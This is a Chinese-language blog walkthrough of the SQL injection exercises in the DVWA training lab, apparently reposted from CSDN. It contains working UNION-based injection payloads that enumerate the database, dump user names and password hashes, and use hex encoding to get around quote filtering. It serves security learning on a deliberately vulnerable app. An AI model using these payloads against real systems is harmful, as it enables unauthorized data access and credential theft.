DVWA sql手注学习(巨详细不含sqlmap)

news/2024/7/8 3:31:41 标签: sql, 数据库, 渗透测试, web漏洞, dvwa, 网络安全, php

这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程

文章目录

  • 靶场介绍
  • SQL注入 low
  • SQL注入 Medium
  • SQL注入 High
  • SQL注入 Impossible

靶场介绍

DVWA(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序,模拟了一个典型的Web应用程序环境,并包含了多种常见的Web安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来,用于安全教育和渗透测试训练。

SQL注入 low

输入1,正常回显,观察URL明显是get请求传递的参数。
在这里插入图片描述

测试是否存在sql注入,这里用 ’ 来测(虽然这个是靶场,我们已经知道存在sql注入漏洞,我为了理清思路,这里完整的复述一遍)
在这里插入图片描述
这里报错了,说明这个网页存在sql注入的漏洞
在这里插入图片描述
测一下漏洞是字符型还是数字型

1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注释,有的地方可以用#注释,这里只能用#注释)

前两个都正常回显
在这里插入图片描述
在这里插入图片描述
这里我们猜测一下数据库的搜索语句应该是这样的,那么应该是字符型
在这里插入图片描述
1’ and 1=1#正常回显
在这里插入图片描述

1’ and 1=2#回显异常了
在这里插入图片描述
这里我们接着想一想后端的sql搜索语句是怎么写的,如下图,当前面闭合后,执行后面的1=1,会正常回显内容,当你1=2时,永假,页面肯定回显异常。到这里就可以判断一定是字符型的注入了。
在这里插入图片描述
到这一步基本上我们找到了闭合,可以开始注入了。
ps:到了这儿,该如何注入就得看各位师父们的手法和技巧了,高超的技巧往往能更快更方便注入。

1' order by 
-1' union select 1,2#

这里的意思就是说联合注入,我们后面查询的1,2两个字段的数据显示在页面的哪个位置,搞清楚了位置我们就可以通过替换1,2字段的查询语句来进行数据库的信息的探测。
在这里插入图片描述
探测数据库

 -1' union select database(),2#

在这里插入图片描述
探测表名

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
探测表中字段名

1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述
获取数据(密码均为md5加密,各位可以去网上用md5解密网站跑,简单的一般不用收费)

sql">1' and 1=2 union select user,password from users#

在这里插入图片描述
好了到此,low级别的sql注入已经差不多完成了,后面的中级和高级最后过程就不赘述,只寻找到闭合。

SQL注入 Medium

我们先观察一下页面,只能让你选择你的id,不让你输入了,使用post传参,我们可以用burp suite来抓包实现修改post数据
在这里插入图片描述
数据包如下:
在这里插入图片描述
分析到这里后,其实其他步骤跟low级别就差不多了

测有无sql漏洞:
id=1'&Submit=Submit测有无sql
判断类型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi

如此可以测出来,存在数字型的sql注入漏洞
在这里插入图片描述
测试代码如下:

id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit

这里要就能体现,medium和low有什么区别了。我们探测user表中的字段数时,发现sql语句报错了,说明后端做了过滤。我们点开源代码看看后端做了什么限制。
在这里插入图片描述
说明他可能过滤掉了我们的单引号,但是这种过滤其实也没啥太大用处,毕竟换个十六进制加密就能写进去。

id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit

在这里插入图片描述

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

在这里插入图片描述

SQL注入 High

这里我们先审一下后端的代码,这里做的限制只要是limit 1,给你一个回复,而且你提交数据的页面和它显示给你的界面不是同一个,这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。
在这里插入图片描述
我们直接用low级别的payload也可以直接获取到他的数据库信息。
在这里插入图片描述

SQL注入 Impossible

关于这个难度,本人的php水平有限,等后期php的水平提升了再来审一下这个靶场的后端代码,这里先搁置在这里。csdn中很有很多大佬做了代码审计,各位感兴趣可以自行搜索。(QAQ)

在这里插入图片描述


http://www.niftyadmin.cn/n/5536424.html

相关文章

【python】PyQt5控件尺寸大小位置,内容边距等API调用方法实战解析

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,…

cube-studio 开源一站式云原生机器学习/深度学习/大模型训练推理平台介绍

全栈工程师开发手册 (作者:栾鹏) 一站式云原生机器学习平台 前言 开源地址:https://github.com/tencentmusic/cube-studio cube studio 腾讯开源的国内最热门的一站式机器学习mlops/大模型训练平台,支持多租户&…

k8s-第七节-ConfigMap Secret

ConfigMap & Secret ConfigMap 数据库连接地址,这种可能根据部署环境变化的或者其他容器配置选项的包括容器更新或者扩容时可以统一配置Kubernetes 为我们提供了 ConfigMap,可以方便的配置一些变量。 https://kubernetes.io/zh/docs/concepts/configuration/configmap/…

JS中那些可以改变自身的Array API全解析

push(): 追加一个或多个元素到数组的末尾,并返回新的长度。 // 定义一个初始数组 let arr [1, 2, 3, 4, 5];// push(): 追加一个或多个元素到数组的末尾,并返回新的长度 arr.push(6); console.log(arr); // 输出: [1, 2, 3, 4, 5, 6] pop(): 删除数组的…

如何在 Logback 和 Log4j 中获取日志:一个开发者指南

日志记录是软件开发中的关键实践,它帮助我们监控应用程序的行为,定位问题并优化性能。在 Java 生态系统中,Logback 和 Log4j 是两个广泛使用的日志框架,它们都基于 SLF4J API 提供日志服务。本文将指导你如何在这两个框架中获取日…

ArcGIS Pro SDK (七)编辑 11 撤销重做

ArcGIS Pro SDK (七)编辑 11 撤销&重做 文章目录 ArcGIS Pro SDK (七)编辑 11 撤销&重做1 撤消/重做最近的操作 环境:Visual Studio 2022 .NET6 ArcGIS Pro SDK 3.0 1 撤消/重做最近的操作 //撤销 if (MapV…

选微调、RAG还是微调+RAG?

RAG技术是一种结合了检索与生成的方法。它通常依赖于两个核心组件:一个大型语言模型(如GPT-3)和一个检索系统(如向量数据库)。RAG先使用检索系统从大量数据中检索出相关信息,然后将这些信息提供给语言模型&…

C++单例模式、工厂模式、观察者模式等的实现和应用场景。

设计模式是软件开发中常用的解决方案,它们提供了一些经过验证的方法来解决常见的设计问题。以下是单例模式、工厂模式和观察者模式在C中的实现和应用场景的详细讲解。 1. 单例模式(Singleton Pattern) 概念 单例模式确保一个类只有一个实例…